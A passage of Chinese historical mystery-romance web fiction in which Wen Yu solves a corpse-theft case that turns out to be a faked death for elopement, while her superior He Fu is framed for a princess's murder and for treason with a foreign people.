“她应该还有交易的地方。”温余猜测道,“我们在附近看一看。”
两人分头行动,温余在左,圣阳往右。
过了一炷香时间,圣阳发现了线索。
“这里有脚印,很新,是往坟地走的。”圣阳抱臂道。
温余长长舒了一口气:“我们跟上去。”
夜晚的坟地,阴风阵阵,好像四周的树木都化作了怪物,不断地呼啸着,张开血盆大口要吞噬掉过路的人。
冷风吹过,温余不由打了个寒颤,“这里还有脚印吗?”
圣阳摇了摇头,站起身将火折子递给温余:“没有了。”
难道就这么断了?温余坚信他们一定有一个交易的地点,还有宋拿云说不准就在那里!
她在四周看了很久,恍惚间好像在远处看到一个光点。
她用手向圣阳指了指,“那是什么地方?”
白日来的时候竟然没有看到,夜晚漆黑,光亮在四周格外明显,竟是一眼就看到了。
圣阳也看向那处,“去看看不就行了?”
话音落下,两人便迅速往那光亮处奔去。
“这里竟然是间寺庙?”温余看着头顶上斜挂着的牌匾,写着“土地庙”三个大字。
“这里一定有东西!”圣阳推开门,发出极其刺耳的声响。
温余吸吸鼻子跟在她身后。
刚刚进门,温余就被吓了一跳。
原本应该供奉土地的供台上摆着两个纸人一男一女,一蓝一红,猛得抬眼看去竟是被吓得一身冷汗。
“怕什么?不过是两人纸人而已!”圣阳丝毫不惧,向前探去。
纸人下,是两口并排的棺材,都被盖上的棺材盖,不知里面有没有人。
“我们把这东西打开吧,说不准丢失的尸体就在棺材里面。”温余在棺材上摸了一会儿,确认这棺材没有完全钉上后松了口气。
应该是没来得及钉。
圣阳一手掀开左边的棺材盖,一股腐臭味熏得她几乎睁不开眼,“这东西都死了多久了?”
温余也打开了右边的盖子,这棺材里却没有什么味道,她往里一探,竟是一张惊为天人的脸。
“霁尘君!”温余诧异道。
圣阳几乎是霎时就来到了棺材旁,“她怎么会在这里?她没事吧?”
温余伸手在宋拿云鼻间探了探,“没事,应该只是昏迷了。”
“这些人还真是够恶心,竟敢把算盘打到本宫身边的人身上,简直死不足惜!”圣阳盛怒之下在棺材上重重一锤。
顿时尘土飞扬。
温余担心会有人躲在暗中,扶起宋拿云后道:“我们还是先走吧,若是有埋伏那就惨了!”
“有就有,正巧不用本宫亲自去找了!”圣阳看起来真的很生气。
此时,屋外传来一阵杂乱的脚步声。庙门大开,只见屋外墙檐上飞出几个黑衣人来,虽然在黑夜中看不清他们的表情,但温余知道他们一定在盯着自己。
虎视眈眈。
为何这般眼熟?温余不由锁起了眉。
但还没等她多想,屋外便又走出一人。
74. 丢尸案(六)
“呦,找事儿的来了?”来人的声音尖细,一身红衣,面如枯槁,仿佛被什么妖孽吸去了精气一般,深深的眼窝中浑浊的眼球正一眨不眨地盯着两人。
“你就是偷盗尸体的幕后凶手?”温余拧眉道。
圣阳却猛得将放在一旁的棺材盖往她那边一扔,直直向她砸去:“和她说什么?直接杀了就是!”
“等等,别冲动!”温余想叫住她,但圣阳早已飞身上前,那接生婆不过是个村妇如何能打得过圣阳?
圣阳只一招就将她脖子钳住,“叫外面那些人滚,否则本宫就杀了你!”
接生婆桀桀地笑了几声,“你不会以为,你们能活着从这里出去吧?”
圣阳更怒了,“乡野村夫,好大的狗胆!”
接生婆没有再挣扎,而是在不停的笑声中失去了气息。
竟是被圣阳活活掐死了!
“等等,圣阳郡主!”温余见圣阳要上前去和那些黑衣人一战,想要制止她。
那些黑衣人似乎不是普通的村夫,倒像是被训练过的精兵,同之前在红叶观遇到的一般。
圣阳没有武器,只能徒手肉搏,如何能对上这么多人?
“别冲动,回来!”
眼见圣阳和那些黑衣人缠斗,那些黑衣人似乎在将圣阳往更远处走。
难道那里会有埋伏?
温余冲圣阳大喊:“别走了,回来!”
因为宋拿云的事情,圣阳本就在气头上,此时有打得正酣,如何能听得进去温余的话?如何能意识到敌方的诡计?
“徐长钰!回来别走了!他们在引诱你……”
话未说完,温余额上便起了一层冷汗,不是因为高呼费力,而是她的周围也围起了一圈黑衣人。
黑衣,弯刀,温余确认了这些人和红叶观的是同一批人。
圣阳早已走远,只余温余一人站在原地,她背上还背着宋拿云。
寒光一闪,利刃向她袭来,她将宋拿云往上背了背,确认自己的动作不会让宋拿云掉下去后一个闪身,趁来人往前刺的刹那扭过他的手,抬脚从他肩上一压,将他手中的刀夺了过来。
有了武器就方便了许多。
温余使上全身的力气单手抡起刀,猛地向来人劈去,那人的脸上瞬间多了一道血痕。
黑衣人蜂拥而上,刀光间,温余看到有一把弯刀朝自己背后袭。
——他的目标是宋拿云!
温余一个转身让宋拿云避开这一刀,但由于时间太快,自己的手臂却是被一刀砍入了骨头。
她倒吸一口冷气,继续防御着敌人的攻击。
乱斗之中,温余只感觉自己浑身的血液都冲上了头,什么伤什么痛通通都抛之脑后。
忽然,她在无数的凛凛的寒光间瞥见了一抹不同的颜色。
炽热,惹眼,是一条极其鲜艳的红绸……
不对,是两条,在夜幕下交织缠绕。
还有后手?看来是个更难缠的家伙。
温余喘了口气,却间为首的黑衣人也和她一般看向了那抹红色。
看着他带着戒备的样子,温余这才反应过来:他们不是一起的?
那他是……?
墨色之中,满月之下,立着的是一袭翠绿,若不是那高扬的马尾,温余差点要误认为那人是贺扶了。
那人的嘴似乎动了动,但温余没有听清他的话。
“你是什么人?”黑衣人用生疏的汉话问来人。
来人笑了一声,如同阳春三月间飞舞的杨花,清冽温柔,但又隐藏着少年的意气,“本王说,敢碰本王的人,胆子不小。”
温余一惊,这才认出来人的身份。
“尚公子!”温余惊喜道,她还以为他不会回来了呢!
黑衣人之间交换了一个眼神,似乎是觉得尚卿更难对付便都将矛头对准了尚卿。
但尚卿却没有赏他们一个眼神,只是直直看着温余,眸中带着笑意。
“喂,求我一句,我再救你。”
温余几乎是立刻回应:“求尚公子救命!”
尚卿笑了一声,“既然如此……”他双手握紧刀柄,轻轻一转那月白色的刀刃也跟着一闪,一左一右,仿若两侧生翼。
他如雁一般飞下,不消片刻领头的黑衣人便倒在了他的双剑之下。
“一起来吧,本王还有要是要同她说呢。”尚卿将右手中的剑打了个转,面上轻松,仿佛刚刚的战斗从未发生过一般。
闻言,剩余的黑衣人震刀上前,但依旧无法与尚卿相比较。
半柱香过后,尚卿踏着地上横七竖八躺着的的黑衣人走到温余面前,飘飘然仿若某处山上的小仙长一般。
他将肩上乌发一甩,“如何?”
“多谢尚公子。”温余没想到尚卿武功竟这般高强,一时惊讶,但还是先行道谢,“不过劳烦尚公子先照顾一下霁尘君,我还有些事。”
温余将宋拿云安置在尚卿怀里,正打算要去找圣阳却被尚卿伸手挡住,“你要去找圣阳?”
“嗯,她刚刚被其余黑衣人引去林子里了!我怕她会有危险,我先去看看。”
尚卿笑了一声,目光落在温余还流着血的手臂上,“你确定你追出去有事不是你?”
“可圣阳一个人怎么能对那么多人呢?不行,我得去看看。”温余挣脱开尚卿的手,但还未走几步便觉得自己颈间一痛。
下一瞬便失去了意识向尚卿怀中倒去。
尚卿接过温余,对着四周喊了一句:“这女人我就放在这里了,你要是还想要就自己来找,我就先走了。”
说罢,他将宋拿云平放在地上,把双剑上的红绸缠在手臂上,然后抱起温余大摇大摆的离开。
良久,横尸遍野的院子里才再次出现了一人。
来人一袭沉稳黑衣,负手上前走到宋拿云身边,他居高临下的看着宋拿云,一袭嫁衣,虽然破旧失色但也遮掩不住她的花容悦色。
双目微阖,仿若神话故事中的仙子一般,让人生出一种不可接近的感觉。
“如今倒是安稳了,若是一直这般乖巧地待在我身边,你又何须受这样的苦?”
章执看向宋拿云的目光中带了些不忍与心疼,但当他
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看向庙内的棺木时眼神却俶尔变得冰冷。
砰的一声巨响之后,那早已腐朽的干尸化作了粉末,在空中四散,但半分都没有沾在宋拿云身上。
……
次日一早,温余是从杨府客房的床上醒过来的。
她猛得坐起身,见尚卿正坐在桌边撑着脑袋看着她,见她醒来一挑眉,“醒了?”
温余道:“圣阳呢?”
尚卿立刻露出一副委屈巴巴的表情,无奈叹气:“昨日可是我救的你,你却一醒来就问别人的,我可真是伤心啊!”
温余噎了噎,道了一句多谢后继续问:“那你有见圣阳吗?她还安全吗?”
“不确定。”尚卿踱步到温余面前将她按回床上。
“我觉得有问题,那些人的目的绝对不止于此,丢尸是个幌子,他们还有更大的目的,我们得查清楚!”温余越想越觉得昨日的一切都太奇怪了。
这样的案子朝廷没有动作却只派宋拿云前来,宋拿云出事除过圣阳也再没有人知晓,甚至连圣阳都是背着安阳王府偷偷出来的,还有章执……
对了!
一个念头从温余脑中闪过,她之前好像听贺扶说过,宋拿云是去查几年前的换卷一案,那案子还没有下文,怎的忽然就来了怀剑镇?还被打晕放在棺材里?
除非有人在暗中捣鬼,不想让她查下去,或者说她查到了什么,想要……灭口?
“那霁尘君呢?她又去哪儿了?”
这次尚卿没有回答,只是正了神色,“给你一个忠告,这件事不要再查下去了,再往下就不是你能随意揣测的东西了。”
“你知道,对不对?”温余自一开始就觉得尚卿不对劲,他分明知道宋拿云和怀剑镇的案子,为何不同自己说过?
尚卿发出一声轻轻的笑来,“当然,这整个左晋有什么是我不知道的?这件事,你不能再查下去了。”
“那我最后问一句,若是查下去会怎么样?”温余问道。
“会死吗?被灭口?”
“你是在担心谁?”尚卿这句话说得很轻,轻得像是拂过碧水的羽毛一般轻轻在温余心上一扫。
“都有,霁尘君、圣阳、贺大人,这件事涉及且末人贺大人必然不会坐视不理,而昨日圣阳又追了出去,如今生死未卜,还有霁尘君,她一定是知道了什么所以那些人才想杀人灭口,每个人的处境都很危险,我绝对不能坐视不理。”温余认真道。
“你不会天真的认为你可以扭转得了局势吧?你若是真想蹚浑水,最多只是多死一个没什么用处的小官吏而已。你又能做什么?”尚卿语调见似有轻蔑。
“我不怕。我不知道我做了会有什么样的后果,但我知道我不做是绝对会后悔的。”
“为什么?”尚卿轻飘飘地问一句。
“因为他们是我的朋友、家人,是很重要的人。”温余坚定道。
朋友?家人?只单单是这么随意的名头就能为别人赴汤蹈火,而他的家人朋友却都一个个想要至他于死地,岂不是成了笑话?
“可是……已经来不及了。”尚卿忽得笑了。
75. 丢尸案(末)
“什么叫……来不及了?”听了尚卿这句话,温余的心忽然开始突突地跳动。
但没得尚卿回答,门便被砰的推开,“温姑娘哦!我家阿梓的尸体找到了吗?其他家的尸体都送回去了,我家阿梓呢?”
杨老爷一把鼻涕一把泪地闯进来。
温余在尚卿看戏似地面上扫了一眼后对杨老爷说:“杨姑娘现在应该在一个很安全的地方,若是我没猜错的话,她应该没有死。”
“没死?!”杨老爷大惊道,“这不可能啊,她可是我亲眼看着落气的,怎么可能没死呢?”
温余带着他去到灵堂里,棺材还完好地被摆在堂中。她再去看之前发现的气孔,果真在上头发现了些其他的东西。
和棺材一样的黑色,此时已经干得差不多了。温余认得出来这是用来补棺材的一种材料,之前棺材有什么瑕疵掉漆之类的都会拿这东西来补。
那男人忽然扑倒在棺材旁,她早该发现不对的。
“这……我分明是请了镇中最为厉害的棺材匠,怎么会有这么大一个洞?”杨老爷很是诧异。
温余解释道:“这和棺材匠没关系,这应该是杨姑娘自己挖的洞。”
“什么?可这棺材搬来的时候阿梓就已经……”隔了半晌,杨老爷才小心翼翼地道,“莫不是阿梓她……没死?”
温余点了点头。
“那她现在去了哪里?她为何不来找我?为何要假死?”一连三个问题,问得杨老爷身边的家丁一头雾水。
“你还记得那夜来这里的男人吗?他与你家小姐究竟是什么关系?”温余的目光看向了那家丁。
家丁一愣,“他……是他骚扰小姐的!”
“杨老爷许是不知,但你绝对清楚!杨姑娘和那男人绝对不是普通的主仆关系。”温余目光如炬,“若是我没猜错,杨姑娘和那男人应该是两情相悦吧?”
“什、什么?”杨老爷愣在原地,看来确实不知自家女儿与那男人的事情。
家丁躲避着温余的目光,“我……我不知道,我只看到他一直跟在小姐身边,所以我才,我才禀告老爷将他赶出去的!”
“所以,阿梓当真和那人两情相悦?”杨老爷握住家丁的肩膀,直直地看着他,但对方只会说一句我不知道。
这时,一直在一旁抱臂看戏的尚卿开口:“他确实不知道,不知道一直和自己一样躲在阴沟里的人是怎么突然攀上高枝。你自己也试过但是那女人却怎么都不肯看你一眼,所以你嫉妒,你愤怒,你就告知了爱女心切的老爷,借着老爷的手将他赶出去,却没想到平日里柔弱的小姐竟会这么大胆,假死私奔。”
他说一句便近一步,直到最后来到那家丁的面前,轻声问道:“你说,是吗?”
“你……你怎么知道?”那家丁一脸惊恐,直直往后退去却被棺材挡住。
“这整个左晋,哪有我不知道的事情?”尚卿看向一旁早已目瞪口呆的杨老爷,“想知道你女儿的下落就去牢里问那个男人,剩下的就与我们无关了。”
尚卿像倒豆子一样将一切全都告诉了杨老爷,之后留下一声告辞便拉着温余往外走。
“等等,你拉我做什么?话还没说完呢!”温余想挣脱开,但于事无补。
“你还想说什么?带他去找他女儿?然后让他成全他们?”尚卿问道。
温余被他牵着一路来到马车旁,尚卿轻轻一推便将她送上了马车,“至少该有个结果吧!”
尚卿也上了马车,下一瞬马车便动了起来,不知道要往哪里走去。
“喂,你带我去哪儿?”温余掀开帘子看着杨府离自己越来越远。
她真是越来越搞不懂尚卿了。
“你不是想知道葛巾的身世吗?现在我们就去。”
“那杨家姑娘……”
“你猜那位杨老爷会不会成全他女儿?”尚卿笑问。
温余思索片刻后,回答道:“应该不会了。”
主仆之间本就相差许多,那老爷万万不愿让自家女儿嫁给一个一穷二白的家仆的!
“你不是已经知道结果了吗?还想看什么?看父女重逢,哭天喊地?”尚卿笑得随意。
“可我还是想看看会不会有意料之外的情况发生。”温余放下了帘子。
“不会。”尚卿说得确信,“人与人之间本来就有一道鸿沟,想要硬着头皮冲过去,结果就只有头破血流。他们只想着自己冲破世俗相爱了,可从未想过自己的后代会活在旁人什么样的眼光之中。”
说到最后,他眼中闪过一丝不明的情绪。温余看着他,又见他嘲讽似得笑了一声便再没了下文。
他这话是在说杨家小姐还是在说他自己?如此一想,除过他王室的身份,她好像从来不知道他的身世。
“你的眼线很多?”温余问道。
“当然。”
“为什么?”
“当然是因为在这尔虞我诈的朝廷之中,信息是最为重要的东西。谁与谁同盟,谁背后有势力,这些东西小了可以用来作为筹码与旁人交换,大了可就能直接置那人于死地。”
尚卿顿了顿,似乎想起了什么,继续道:“所以,贺扶那般想要遗世独立,举世皆浊我独清的想法在没有威胁到旁人的时候可以被称作君子之风、大家之范,可若是有朝一日挡了旁人的路,那便是幼稚可笑。只需要轻轻动一动手指就能让他彻底失去争辩的力气。”
尚卿看向温余的目光锐利,“譬如……十五年前的绍王。”
“你知道凶手是谁?!”温余瞪大了眼睛,她原先只知道尚卿消息灵通,竟是不知已经到了这样的地步。
尚卿笑了,“我不是说过吗,整个左晋没有我不知道的事情。”
“那你能不能告诉我……”
话没说完,尚卿便打断道:“我说过,我不想蹚这趟浑水,我可不想当被捕的螳螂。”
也是,他知道那么多事情若是愿意说早就说了,怎会等到今日?温余还是有些隐隐的失望。
“你在意的是这个案子,还是贺扶?”尚卿看出了她眼底的失望。
温余抬眼去看他,只见他斜倚着小桌,桌上的熏香扭曲了他的脸,但没有遮挡住他看向自己的目光。
“在意这个案子,更在意贺大人。”温余如实答道。
对于自己的感情,她从来不想隐瞒。
尚卿呼吸一滞,幽幽升起的香烟让他的面容更加模糊不清。
为什么?为什么所有人都更偏爱贺扶?为什么没有一个人愿意看他一眼?他就这般不堪吗?就这般不被重视吗?
他眸光暗了又暗,内心的叫嚣几乎要将他吞没。
过了许久,他才问了一声:“今天的熏香如何?我换了一个。”
温余这才仔细嗅了嗅,今日的熏香果真与之前的不同了,但却有些熟悉,好似在那里闻到过。
她想了许久才记起,这香是贺扶马车内常薰的檀香。
她正要开口却忽然意识到,自从她再见尚卿之时,他便一直穿着一身翠色锦袍,与贺扶无二的翠色锦袍
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。
……
马车停在一个被建在镇子角落的宅子前。屋外的落叶已经被打扫干净,屋内也还亮着灯,看来还是有人在这里居住的。
温余下了车和尚卿一同进入宅子,不大的宅子被主人打理得十分温馨,迎面走来的是一位抱着暖炉的妇人。
“嘉亲王殿下。”妇人竟然知道尚卿的身份,向他行了一礼。
尚卿点点头示意免礼,随后三人一同走进屋中,屋内昏黄的灯光下是三道随意的家常菜还有一碗米饭。
她刚刚是在吃饭?温余看了看日头,也差不多到了用午饭的时候了。
“嘉亲王忽然前来,妾身未能早些备好美酒佳肴,还请嘉亲王殿下海涵。”那妇人的声音有些沙哑。
尚卿带着温余坐下,道:“不需要,是她要见你。”
那妇人的目光顷刻落在了温余身上,哑声道:“不知这位姑娘有何事?”
她轻笑着,眼角的细纹十分明显,仍然不难看出她年轻时的美貌来。虽然穿着朴素但整个人却透露着一种与周遭不符的气质,像是见惯了觥筹交错的宴席,受过万人追捧后的淡然,但却没有上位者的傲然,着实是让人觉得好奇。
温余收回目光,答道:“我来是想问问您葛巾的身世。”
听到这个名字,妇人的眼中闪过一丝诧异,她转头看向尚卿似乎是在征得他的同意,见对方微微颔首后才道:“她父母私通生下她后便将她给弃了,我见她可怜,又正值我出宫之时便将她给带了出来。她在这里学习了不少制武器的技法后便自己一个人去京城了,我便再没见过她。”
“那您知道她父母的身份吗?可有哪方是且末人?”温余追问道。
妇人想了想,“确实,那孩子的父亲是从且末来的画师,有一种很新颖的绘画法子,宫中不少权贵都曾邀他去府中作画,她的母亲应当就是在他作画时遇到的他。”
果真如此。
“尚公子,你会写且末字吗?”温余忽的转问尚卿。
尚卿点点头,随意道:“自然会。”
“那你能写几个字让我看看吗?”
尚卿用食指沾了水,在桌上写下几个温余看不懂的字来。虽然看不懂,但从行笔、大体模样来看确实和那日葛巾所看的书册上的字差不多。
果真就是且末字!
温余轻轻舒了口气,“那葛巾和首辅大人之间可有什么联系?”
那妇人摇了摇头,“首辅大人位高权重,妾身卑微又如何能见到他?”
温余敛眉,转头看向尚卿,不报希望地问:“那你可知道?”
尚卿单手撑着脑袋,手指在方才写过字的地方摩擦,轻轻一笑:“当然……”
忽得,尚卿脸色一变,“躲开!”
温余闻言侧身,只见一个银色光点正向自己袭来,只一瞬间便擦过她的脸颊钉在了桌子上。
——是一枚小巧的银镖。
上面似乎还绑着一封信。
尚卿的目光在银镖飞来的方向停了一瞬,纤长的手指解开绑带,将信展开。
这信应当是给尚卿的密信,与温余无关,她便安静等着尚卿看完信,但没想到尚卿的脸色忽得变得奇怪起来。
这时她才小心翼翼地问:“怎么了?”
尚卿嘴角勾起一抹弧度,像是大仇得报的爽快,又似忽闻噩耗的震惊,两种截然不同的神情在他脸上争斗,竟是将他的整张脸都变得扭曲起来。
“我就说,他这样的人,就该有这样的结果。”
76. 惊变(一)
为什么会发生这样的事情呢?
屋内的灯火摇曳,将贺扶落在地上的影子扭曲。
他浑身都变得冰冷,好似全身的血液在这一刻停止了流动。一切发生得太快了,他只能愣愣站在原地,双手颤抖,手中花纹繁重的刀柄也变得滚烫起来。
一滴鲜红的血顺着刀刃滴落在地面上,发出的声响在这几乎静止的空气里犹如千斤落地。
为什么会发生这样的事情?
屋外,是同样愣住的人群,是安成王府的侍卫,他们各个手拿长剑,剑指贺扶。
“贺祝桐!”安成王快步越过人群,悲愤而又不可置信地揪住贺扶的衣领,他怒吼道,“你做了什么?我问你做了什么?!”
刀从贺扶脱力的手中落下,发出清脆的一声响,他双唇颤抖,“我不知道……我……”
还未出口的解释被用力的一拳堵回去。安成王是武将,这一拳几乎用了他十成的力气,打得贺扶一个踉跄。
安成王双目赤红,仿佛下一刻就会暴起将贺扶给一刀捅死。
他忍住怒气,质问道:“我知你不喜我家阿钰,赐婚一事也是圣上的意思,你若是着实不满大可直接告诉我,我就算顶着抗旨的名头也会拒绝这桩婚事。可你为何……为何要……”
“我不是,方才灯忽然灭了,我一转头便见……”
“你还想狡辩!?”安成王又是一拳,竟是直接将贺扶打倒在地上,“你为何偏偏要杀了她啊!!!”
贺扶手上还沾着血,圣阳的血,徐长钰的血。
没错,圣阳死了,在他的面前死的,他甚至没有看到那凶手的模样,只一阵风吹过,圣阳就这样倒在了他面前。
“伯父您先听我说,方才有人忽然进来,此刻应当还没有走远,此时在宅子里排查说不准还能找到线索!”贺扶稳定住自己的情绪,尽力去清醒地分析方才的情况。
那人极其轻盈,他和圣阳几乎都没有反应过来那人的靠近。能潜入安成王府且能一刀毙命绝非泛泛之辈!
但安成王半分也听不进去,“你同阿钰自小一起长大,她心悦于你你定是心知肚明。就算你不愿娶她,也该有些情分在吧?你竟直接杀了她……你杀了她啊!”
“你如此不满圣上指婚……”
话未说完,一道威严的声音传来:“谁不满圣上指婚啊?我说贺卿啊,圣阳她也是……”
一瞬间,皇帝的话停住了。
在众人面前的,是倒在地上右脸通红的贺扶,一脸悲愤的安成王,以及躺在安成王怀中浑身是血的圣阳。
“大人!”启蛰见此情况,立刻冲上前想将贺扶扶起来,但贺扶却对他摇了摇头。
“这是怎么回事?”一官员震惊道。
皇帝与皇后对视一眼,唤来了随行太医上前。太医查看过圣阳的情况后,转头对众人摇了摇头,随后又对浑身颤抖的安成王道:“节哀。”
沉默良久,安成王轻轻将圣阳平放在地上,捡起地上的短刀跪行上前,在皇帝面前重重叩首:“小女遭人暗害,还请陛下为小女讨回公道!”
这屋中就安成王、贺扶和圣阳三人,虎毒不食子,安成王就算有对贺扶天大的恨也不可能动手去杀自己的亲女。若说凶手定是和贺扶逃不开关系了。
于是,众人的目光都落在贺扶身上。
皇帝唤了一声:“陈总管。”
身边的大太监便上前将安成王手中的短刀拿起仔细端详了一会儿,随后他将刀举起,扯着尖细的嗓子道:“在场可有哪位官员认得这把刀?”
原本鸦雀无声的人群又起了一阵波澜,良久,从人群中走出一个人,她一头浅色的长发盘起,着一袭素衣在皇帝面前盈盈一拜,“启禀陛下,此物是民女的。”
启蛰惊道:“葛巾?你……”
贺扶又对启蛰摇了摇头,现在轮不到他来说话。
皇帝哦了一声,问:“那这东西怎么会在这里?还沾了圣阳的血?”
葛巾答道:“民女曾将这刀赠于大理寺司务温余,至于何为在此,民女也不知。”
“大理寺?温余?”皇帝似乎不记得有这样一号人,还是身边的皇后轻声提醒才想起那日的小宴。他看向贺扶,“贺卿,那小司务现在在何处?”
贺扶俯首道:“她出城去查案并不在此处,不可能是她!”
“不可能是她,那会是谁?”皇帝的语气带上了些诘问。
圣阳再怎么说都是皇室中人,竟在自家府中被奸人害死,若是连凶手都抓不到简直是有损皇家颜面!
“禀陛下,臣到场时便见贺祝桐手握此刃,除过他外绝无他人!”安成王又道。
“不可能!我家大人不可能会杀她!”启蛰听安成王指贺扶做凶手,一时着急竟直接当着帝后的面大喊了出来。
陈总管竖眉呵斥:“陛下尚在此处,哪里轮得到你这小侍开口!”
贺扶也暗暗道:“启蛰,噤声。”
“可是……”启蛰不敢再说了,生怕多说一句再为贺扶添麻烦,只能死死盯着安成王,怕他说出什么来。
而出乎他意料的是,下一个开口的是葛巾。
她叩首道:“民女认为贺大人确实是杀害圣阳郡主的凶手。”
“葛巾,怎么你也……”启蛰不可置信地看着她,周身都不可控制地发抖。
皇帝只是在贺扶处扫了一眼,道:“你说你认为贺卿是凶手,那你倒是说说他为何要杀圣阳?真就只是因为朕方才在宴上为他赐了婚?”
“自然不是。”葛巾从怀中拿出早已准备好的东西递给皇帝,“此乃民女在绍王府中暗中寻到的密信,正是贺扶贺大人与且末人来往的信件。”
此言一出,在场众官员无一不倒吸一口凉气。杀害皇亲的罪名还没定下,竟又来一个勾结外邦的罪名,今日这安成王府的宴会还真是来得赚啊!
安成王听后如同晴天霹雳,猛得向后坐去,看向贺扶的眼中满是失望与震惊,后者却只是微微抬了抬眼,没有什么表情。
事到如今,他还能不知道吗?今日,这分明就是一场有来无回的鸿门宴!
安成王借边关大捷的名头在府中设宴,又明里暗里提起贺扶的婚事,人人都知圣阳心悦贺扶已久,便将目光都放在了贺扶身上。
酒过三巡后,皇帝竟也是下旨赐婚。安成王又以圣阳受伤想见贺扶一面为引,让他来此与圣阳独处。
之后又发生这样的事情。
一切的一切,都像是有人刻意安排好的一般。
只是他唯一不解的,是葛巾。
她为何会参与其中?
“你胡说!”启蛰也忍不了了,私自往来外邦可是死罪!若是真把这屎盆子扣到贺扶头上,那就是将他置于死地。
“我家大人何时勾结外族?就仅仅凭借你的一句话和几封不知道从哪里来的密信?我看分明是你!你吃里扒外勾结外人要陷害我家大人!”
“大胆!”陈总管叱道。
皇帝却伸手制止他,对葛巾道:“这小侍说得有理,仅仅凭借这些就咬定贺卿与且末私联,未
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免有些过于草率了吧?”
“你可知,欺君也是杀头的罪名?”
对上皇帝的目光,葛巾也丝毫不惧,“民女所言,句句属实。”
“好,那可还有其他证据?证明这信确实是出自贺卿之手?”
葛巾沉默许久,就当所有人都以为她无法应对时,众人身后又传来一道男声:“我有证据。”
听到这个声音,贺扶周身一阵。
脑中谜团豁然开朗。
原来,是因为他啊……
众官员缩着脖子为姗姗来迟的章执让开了一条路,他身后除过随行的小侍还跟着两人,一男一女,女子似是怀胎许久。
“臣有人证,证明大理寺卿贺扶私自勾结外邦,其罪当诛。”
跟在他身后的夫妻双双在皇帝面前跪下,齐声道:“草民韩犹息,民妇宋连娇叩见陛下。”
“说罢。”皇帝坐在椅子上,却依旧不减威慑。
韩犹息道:“草民是在上京途中偶遇贺大人,他将草民与贱内囚于大理寺,借草民与贱内的身份前往崇安,以便与暗守在崇安的且末人相见。”
“首辅大人跟随他前往崇安并目睹了他与且末人勾结后先一步回到京城来将草民与贱内救出,方才能让草民与民妇与他对簿公堂,以揭露他的罪行。”
宋连娇也附和道:“夫君所说,民妇皆亲眼目睹。”
韩犹息又道:“草民所言句句属实,若有虚言,天打雷劈不得好死!”
二人说完,章执拱手道:“人证在此,绍王府中仍存有物证。臣与贺扶随为同窗,但罪行不容姑息,臣愿舍小情而谋大局,望陛下彻查。”
人证、物证,一应俱全,呈上证据的还是平日里与贺扶极其要好的章执,此时此刻饶是相信贺扶为人的官员也有些动摇了,都在暗暗摇头叹息。
安成王又添一把火,“陛下,臣忽然想起阿钰她昨夜回来时曾告诉臣她曾与且末人恶斗一场,得知朝中有人暗自勾结且末,想必贺大人今日所为不单是为了婚事,还有防止事情败露,想要灭口吧!”
“贺卿,你可还有什么要辩的?”皇帝冷冷扫了贺扶一眼。
贺扶回道:“今日堂上所说臣皆未做过,臣问心无愧,愿接受调查。”
“好一个问心无愧!”皇帝笑了一声,“圣阳不是你杀的,密信不是你寄的,且末人也不是你勾结的,那你倒是说说,他们为何都要栽赃于你?”
“臣不知。”贺扶如实回答。
周遭一下子变得沉寂起来,众人都暗暗看着贺扶,他们之中有好奇、有幸灾乐祸、有惋惜,但更多的却是看戏的模样。
管他谁诬陷谁,只要自己前头少一个人,自己便能多进一步。
坐收渔翁之利,何乐而不为呢?
而且旧友反目的戏码,谁又不爱看呢?
“既如此,”皇帝站起身来,“今日的兴致也全都毁了!吩咐刑部彻查此事,三月内给朕一个交代。至于贺扶……”
“压入天牢,听候发落吧!”
“摆驾回宫。”
皇帝离开后屋外乌压压看戏的众官员也都一个个离开,不过片刻屋中就只剩了贺扶章执二人。
贺扶看向他,眼中的质问和不解几乎要喷涌而出,那些被压抑许久的情绪争先恐后地想要发泄,但最后却只问出了一句:“为何?”
章执眸色淡淡,冷冷道:“朝堂之上,从未有过真心。这一点你比尚卿要差得多。”
说罢,他拂袖离开,贺扶终于是撑不住跌坐在地上。
77. 求娶
温余紧赶慢赶回到绍王府的时候,府中已是空空如也。
贺扶不喜铺张浪费,所以无论是金银器物还是名家字画都很少,就算是全都拿去查验也只单单只用了半日。
最后,如章执所说,刑部确实在玉茗堂内发现多封密信,如此,贺扶与且末私自联系一事几乎板上钉钉。
府中的所有东西都被拿走了,只有温余雕的那几只小兔小狗孤零零地站在玉茗堂的窗边,似乎是在等着主人回来。
温余拿起那只木雕的小兔子,轻轻擦去了它身上的一层薄灰。
尚卿似乎心情颇好,见温余拿着兔子便道:“这东西是你做的?不若给我也做一个?”
温余没有回话,尚卿又道:“我刚刚去看了,我之前送你的那支簪子还在,算是那些人知道规矩,没有把那簪子一并拿走。”
“是首辅大人吗?”温余将那木雕兔子攥了攥,轻声问道。
尚卿似乎还没反应过来,“嗯?什么?”
温余回头去看他,一字一句道:“你不是说你什么都知道吗?那你能不能告诉我这件事背后的主使是不是首辅章执?”
尚卿愣了一愣,随后摊开手:“无可奉告。”
果然……
温余轻轻将那窗边的几个小木雕收好,忽然听到前院传来几声响动。
她迅速往前院赶去,只见启蛰正拔剑对着葛巾,怒道:“我家大人待你不薄!你为何要和首辅一起诬陷他?你究竟想怎么样?!”
“你这个欺负人的混蛋,我今天就杀了你!”
见启蛰提剑要冲上去,温余还没上前阻止尚卿便一个闪身用手将启蛰的胳膊折过去。
“你拦着我干什么?”启蛰惊讶于尚卿的出现,但很快也认清了情况,“你不知一直盼着我家大人出事吗?现在好了,你开心了吧?你又为什么要挡我?!”
见他气得满脸通红,就连说话都前言不接后语,温余道:“启蛰,你先冷静一下!”
看到温余后,启蛰表情变了变,他双唇颤抖,挣脱开尚卿跑到温余身边。
“他们……他们……”启蛰胸膛不断起伏,连话都变了调,半天没说出一句完整的话来。
温余安慰道:“我知道了,我们一定会想到办法的,你放心。”
启蛰似乎想要哇的一声哭出来,但又碍于葛巾和尚卿两个“仇敌”在场,只能不断地深呼吸让自己冷静下来。
温余走到葛巾面前,葛巾的眼神有些闪躲。
“你是且末人?你做的这一切都是为了且末?”
“不是,这与且末无关。”
“那与首辅大人有关,是吗?”温余又问。
半晌,葛巾点了头,“这件事你不要再参与了,对你没好处。”
“就像是之前你告诉我不要招惹圣阳一样?”温余直直看着她的眼睛。
“我知道,你不会不管。”葛巾淡淡道,她看向启蛰,语气依旧平淡,“你现在可以让他杀了我,否则之后若你再想报仇,我就不保证你能找到我了。”
“既然你一心求死,那我就杀了你!”启蛰提剑就要冲上来,尚卿一掌劈在他颈后,对温余道:“你们继续说。”
温余扫了尚卿一眼,又看回葛巾,“我不杀你,启蛰也不会杀你,你知道的。”
